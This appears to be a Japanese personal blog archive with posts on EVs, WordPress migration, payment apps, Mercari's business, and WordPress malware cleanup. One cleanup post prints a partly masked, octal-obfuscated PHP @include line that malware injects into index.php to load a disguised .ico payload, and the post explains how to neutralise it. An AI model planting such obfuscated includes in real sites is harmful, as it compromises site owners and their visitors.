EV車は流行るのか?

将来的に、EVと言っても電気エネルギーは何で作るのか?
同じ太陽からなら植物性アルコールや植物油のほうがいい
災害時や遭難時に、簡単に持ち運びや譲渡ができない動力源は流行らない
ガソリン、軽油、アルコールや油はほとんど原価ゼロのペットボトルで持ち運びできるが
電気は持ち運びするためには電気そのものより入れる器のほうが高い
器(パッテリ)が高性能になればなるほど、器を無制限に無料配布するのは難しい

投稿日: 2019年10月10日 カテゴリー: 未分類

ログインできないwordpressを他に移植して稼動させる方法

ログインできないwordpressを他に移植して稼動させる方法

通常はプラグインを使えばwordpressを移動できますが
*wordpressがそのものが起動しない
*wordpressにログインできなくなった
*ドメインを変更したい
などの場合、手動でやる必要があります。
ただしそのサーバーにFTPでログインできる
データが保管されているSQLサーバーにログインできる
ことが条件になります。

新しいドメインとサーバースペースを用意します

FTPサーバーにログインして
必要なデータだけをダウンロードします。
wordpressのルートから見て
/wp-config.php ファイルを1個ダウンロードします
/wp-content/languages このフォルダ内の全ファイル
/wp-content/plugins このフォルダ内の全ファイル
/wp-content/themes このフォルダ内の全ファイル
/wp-content/uploads このフォルダ内の全ファイル

次にSQLサーバーにログインします
ユーザーIDやパスワードは先ほどダウンロードした
wp-config.php
の中に書いてあります
レンタルしているプロバイダーにログインし
データベース phpmyadmin とかいうのがあるはずです
define(‘DB_NAME’, ‘xxxxxxxxxx’); ログイン時には不要
define(‘DB_USER’, ‘xxxxxxxxxx’); ユーザーID
define(‘DB_PASSWORD’, ‘xxxxxxxxxx’); パスワード
define(‘DB_HOST’, ‘xxxx.xxxxx.jp’); ホスト名が必要な場合もあります
SQLサーバーにログイン後、左のほうに DB_NAME と同じ名前のデータベースをクリックします
中央上のメニューからexportを選択します
何も選択を変えずに 実行します
適当な名前でローカルのディスクに保存します。

ドメイン名を変更する場合は
ダウンロードしたSQLを、
ファイルエディターの置換機能を使って変更する

新しいサーバーにwordpressをインストールします
新しくインストールしたwordpressのwp-config.phpをダウンロードします
$table_prefix = ‘wp_’; wp?_ prefixが違う場合は修正してアップロードします
この中に書いてある新しいSQLデータベースの ID パスワード サーバー名等を控えます
新しく導入されたSQLサーバーにログインします
今存在しておるテーブルを全て削除します
上でエクスポートしたデータをインポートします
SQLは以上でログアウト

新しいサーバーにFTPでログインし
/wp-content/languages このフォルダ内の全ファイル
/wp-content/plugins このフォルダ内の全ファイル
/wp-content/themes このフォルダ内の全ファイル
/wp-content/uploads このフォルダ内の全ファイル
をアップロードします

SSLを設定するのを忘れずに

これぐらいでOKなはずなんだけど

wordpressのログインIDやパスワードがわからなくなった場合は
もう最新のSQLサーバーにログインし
wp-userのテーブルを見る
そこにuser名が書いてある
パスワードを忘れたらメールアドレスも書いてあるので再発行

投稿日: 2019年9月28日 カテゴリー: 未分類

レンタルサーバー

wordpressなどのブログやbaserCMSなどをたちあげるために複数のサーバーを借りている。
サーバー業者にもいろいろあるけれど
ハッキングされやすい業者と難しい業者があるような気がする。
ログイン方法やFTPの管理方法などのちがいが影響するのか?

投稿日: 2019年9月24日 カテゴリー: 未分類

メルペイとペイペイ

メルペイとペイペイの違い
メルカリの売上げをメルペイにチャージして買い物
ヤフオクの売上げをペイペイにチャージして買い物
流れとしては良くにてるんだけど、やっぱ違う
ペイペイがヤフーショッピングやロハコで使えるようになったのは大きい
これでメルペイなんか一気に吹っ飛んでしまうかも?

投稿日: 2019年6月14日 カテゴリー: 未分類

メルカリ 閉鎖?

メルカリ・チャネル 2017年7月開始 2019年7月閉鎖

2019年4月26日のブログで、メルカリチャネルの閉鎖を予想したけど
やっぱり、やっぱり、閉鎖を発表。有料化の道は選択しなかったのか。

それ以外にも

メルカリ・アッテ 2016年3月開始 2018年5月閉鎖

メルカリ・イギリス 2015年開始  2018年12月18日撤退発表

メルカリNOW   2017年11月開始  2018年8月終了

メルチャリ   2018年2月開始     2019年7月終了

いろいろ閉鎖してる。

株式公開までいろいろ企画して、公開したら閉鎖、株主の立場にしてみりゃ???

2018年6月の上場初日に6000円の最高値を付け
8月9日の決算発表を境に株価は急落
8月21日には上場来最安値となる3715円
2019年6月12日現在 3140円

素人が参加するフリマやオークションは、
規制をすればするほど人が集まらなくなり流通総額が落ちる。
ここまで無駄使いしたら、メルカリの先は無いような気がする。
ただ、ヤフーがたどってきた道を真似すれば生き残れると思うけど
孫正義さんはできたけど、山田進太郎さんはできるかな?

投稿日: 2019年6月12日 カテゴリー: 未分類

メルカリチャネル

斬新なアイデアのメルカリ、しかし失敗も多い。

メルカリアッテが閉鎖になってしまった。当然といえば当然だろう。
始める前に予測はできただろうけど、
とりあえずやってみてダメならやめる、というのはすばらしい考えだと思う。

メルカリチャネル これもそのうち閉鎖になるのでは?
メルカリが描いているものとは違う使い方されてしまうような気がする。
ユーザーとのコミュニケーションがリアルタイムで行えるのはすばらしい
youtubeやニコニコだとどうしても録画がメインだからレスポンスが遅れる。
ただ、現時点でこれだけは言える。メリカリチャネルは物を売る場ではない。
商品説明やQ&Aを行う場所だ。しかもこのために利用料は実質無料
売れた商品の10%課金と言っても(故意に)物を売らなければ費用は0円
多くのリピートユーザーを抱えている業者にとって
メルカリ以外にも様々な窓口を持っているし、手数料も10%は高すぎる。
なので、メルカリでは商品を売らずに、メリカリチャネルで放送する、というスタンスが増えていくだろう。
メルカリにしか販売窓口を持っていないショップ、そんなのあり得ないし
今新参でも、売れ出せばいろんな窓口を持つのは当然必須だし、
販売窓口としてのメルカリは単なるオマケ程度になってしまうはず。

と考えると、将来的に、メルカリチャネルは有料化するしか道は残っていないのでは?

投稿日: 2019年4月26日 カテゴリー: 未分類

メルカリは失敗するかも?

メルカリのこの先が心配だ。個人の中古品の売買なんて、そんなに規模が大きくなるものではない、ヤフオクだって個人の中古品の売買の時代を経て量販する業者が参加して盛り上がったわけだし、今の流行だって何か作為的なものを感じる。ヤフオクを追い越したのではなく、ヤフオクが衰退してしまったから、それに代わる器として注目されただけで、個人の中古売買マーケットが拡大したわけではない。このままではいつか頭打ちになるだろうし、とうていアマゾンや楽天に取って代わることは無理だろう。
現在、事業拡大に必要なまじめな事業者を別枠に閉じ込めてしまってるし、メルカリチャネルなんて一部のマニアには受けるだろうけど、あんな子供のお遊びみたいので売れるわけない。これは断言できる。他の勢力が現れないうちに考えを変えたほうがいいと思う。
もちろん、メルカリが現状維持のままで伸びるつもりがないのなら、このままでいいんだろうけど、それなら何故株式上場したのか?疑問。

投稿日: 2019年4月12日 カテゴリー: 未分類

マルウェア駆除の一例(邪道ではありません)

/*00cxx*/

@include “\057ho\155e/\153xx\141xx\057xx\155xx\151xx\056ne\164/p\165bl\151c_\150tm\154/w\160-c\157nt\145nt\057wp\164ou\143h-\144at\141/d\145bu\147/.\067xx\141xx\060x.\151co”;

/*00cxx*/

index.phpなどに、こんな行を追加するマルウェアを見つけた。
wp_setteing.phpなども改変する。
この行を消しても、駆除できない。この行を改変するマルウェアが別に動いているからだ。
最後の「.\067xx\141xx\060x.\151co」というファイルが、このマルウェアの肝心なところ。実際に怪しいサイトに飛ばすコードが書かれている。これを空白にしてしまえば、マルウェアは生きていても、実害は起きない。いちおう問題は解決。
念のため、wordpressの全フォルダを調べて、icoという拡張子を持つファイルを全て空白にしてしまう(決して削除してはいけない)と安心。
実害はないが、マルウェア全部を消してしまいたいのなら、wordfennceなどのプラグインを使うと、改変されたファイルを探してくれるので、ソースコードをテキストエディタで修正してもとに戻す。

投稿日: 2019年2月12日 カテゴリー: 未分類

wordpress index.php 不正書き換え対策(邪道です)

wordpressでハッキング対策に業者にお金を払ったり、時間を費やして自分で作業したり そんな無駄なことをせずに、簡単に解決する方法

例えば、index.php が不正に書き換えられて困るなら index.php オリジナルを別のフォルダに入れておきます。毎日、1時間毎とか、cronを使って、オリジナルを元の場所にコピー ハッキングされて書き換えられようが、書き換えられてなくても常時、正規のファイルを元の場所にコピーし続ける。1時間に1回書き戻しコピーするなら、ハッキングされても、被害が出るのは最大59分間。スキルはハッカーのほうが上だと思ったら、きっぱり降参して、止めるなんてことせずに どうぞ、どうぞ、不正書き換えどんどんやってください、と言っておいて そして短い頻度で自動書き戻し、こういう方法もあります。

パスワードもしっかり変えているのに、ファイアーウォールも入れているのに、IP制限もかけているのに、どうして、どういうルートで書き換えてられてしまうんだろう、なんて悩む必要がありません。

この方法は邪道だと思いますが、、wordpress使ってブログ構築するってこと自体が邪道なんじゃないかと思います。

投稿日: 2019年2月7日 カテゴリー: 未分類

それでも wordpress を使い続ける方へ

3つのマルウェア対策

*パスワードを複雑なものにしましょう
ブルートフォースアタック(総当たり攻撃)を考えると、少しでも長いものがいいです。
覚えられないほど長いものは、手帳にメモしてもいいと思います。
遠隔からのアタックを防ぐためなので、近くの他人に見られてしまうリスクは無視しましょう。

*プラグイン Wordfence をインストールしましょう
有効化すると、メールアドレスを聞いてきますので、捨てメアドを入れて
mailing list => NO I agree チェックボックスにチェックを入れて continue
Premium License kry => No Thanks
でインストール完了
左メニュー wordefence => scan => next => next => got it
start new scan で走査開始
問題のあるファイルを羅列してきますので
各行をマウスで選択すると 「DELETE FILE」が使えるものはそのまま消してしまいましょう
「DELETE FILE」が使えなものは
[VIEW DIFFERNSEES]で違いを確認して、実際にそのファイルを編集する必要があります
修正したらscan を何回か繰り返して、
No new issues have been found.
と表示されるまでがんばりましょう。

*プラグイン Login No Captcha reCAPTCHA をインストールしましょう
googleアカウントをもていないのなら新規に取得して
Site Key と Secret Key を取得して、保存

投稿日: 2019年2月2日 カテゴリー: 未分類